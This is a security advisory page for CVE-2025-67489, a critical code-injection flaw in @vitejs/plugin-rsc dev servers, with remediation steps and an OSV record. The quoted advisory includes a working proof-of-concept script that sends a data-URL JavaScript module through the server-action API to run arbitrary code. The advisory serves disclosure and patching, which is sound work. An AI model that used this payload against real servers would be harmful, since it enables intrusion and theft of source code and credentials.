CVE-2025-67489: @vitejs/plugin rsc Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-j76j-5p5g-9wfr
CVSS 9.8
CWE-94
Published
Advisory Summary

CVE-2025-67489 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @vitejs/plugin rsc libraries in the npm ecosystem. The issue involves @vitejs/plugin-rsc remote code execution through unsafe dynamic imports in rsc server function apis on development server. Remediation is available by upgrading affected packages to version 0.5.6.

CVE-2025-67489 at a Glance

CVE Identifier CVE-2025-67489
GHSA Identifier GHSA-j76j-5p5g-9wfr
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product @vitejs/plugin rsc
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-67489

To remediate this vulnerability, upgrade all affected @vitejs/plugin rsc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@vitejs/plugin-rsc fixed: 0.5.6
npm install @vitejs/plugin-rsc@0.5.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @vitejs/plugin-rsc

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-67489, inspect your project dependencies using npm:

npm ls @vitejs/plugin-rsc

Analyze the terminal output to locate any version of @vitejs/plugin rsc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.6), your application is affected.

Note: The npm ls @vitejs/plugin-rsc command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @vitejs/plugin rsc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Arbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints. ## Impact Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces. ## Details In the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request's header and body as inputs: https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47 During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module. https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24 ## Proof of Concept The example app is avialable in - https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter - https://stackblitz.com/edit/github-rubfqp9k?file=poc.js **Reproduction Steps:** - Stat development server `vite dev` - Run a following script `node poc.js` - See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console ```js // [poc.js] const payload = { 0: ["$F1"], 1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " }, }; const fd = new FormData(); for (const key in payload) { fd.append(key, JSON.stringify(payload[key])); } const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc'; const response = fetch(serverUrl, { method: "POST", headers: { "x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ", }, body: fd, }) ```

CVE-2025-67489 Affected @vitejs/plugin rsc Versions

1 component(s)
Fixed Versions:
0.5.6
Product / Package Ecosystem Affected Versions Fixed Version
@vitejs/plugin-rsc
npm
< 0.5.6
0.5.6

References

Frequently Asked Questions

What is CVE-2025-67489?
CVE-2025-67489 is a security vulnerability in @vitejs/plugin rsc involving @vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which @vitejs/plugin rsc versions are affected?
Affected versions include releases prior to 0.5.6 across affected packages: @vitejs/plugin-rsc.
What version fixes CVE-2025-67489?
Upgrading to 0.5.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @vitejs/plugin-rsc affected?
Yes, @vitejs/plugin-rsc is affected in releases prior to 0.5.6. Upgrade your dependency to 0.5.6 or later.
What is the CVSS score of CVE-2025-67489?
CVE-2025-67489 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-67489?
CVE-2025-67489 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2025-67489?
Run the dependency tree command: 'npm ls @vitejs/plugin-rsc'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j76j-5p5g-9wfr",
  "modified" : "2025-12-09T21:37:59Z",
  "published" : "2025-12-08T22:16:31Z",
  "aliases" : [ "CVE-2025-67489" ],
  "summary" : "@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server",
  "details" : "## Summary\n\nArbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints.\n\n## Impact\n\nAttackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces.\n\n\n## Details\n\nIn the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request's header and body as inputs:\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47\n\nDuring development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24\n\n## Proof of Concept\n\nThe example app is avialable in\n- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter\n- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js\n\n**Reproduction Steps:**\n\n- Stat development server `vite dev`\n- Run a following script `node poc.js`\n- See \"REMOTE CODE EXECUTION1\" and \"REMOTE CODE EXECUTION2\"  in server console\n\n```js\n// [poc.js]\nconst payload = {\n  0: [\"$F1\"],\n  1: { id: \"data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# \" },\n};\nconst fd = new FormData();\nfor (const key in payload) {\n  fd.append(key, JSON.stringify(payload[key]));\n}\n\nconst serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';\nconst response = fetch(serverUrl, {\n  method: \"POST\",\n  headers: {\n    \"x-rsc-action\": \"data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# \",\n  },\n  body: fd,\n})\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@vitejs/plugin-rsc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.5.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-67489"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vitejs/vite-plugin-react"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-08T22:16:31Z",
    "nvd_published_at" : "2025-12-09T21:16:00Z"
  }
}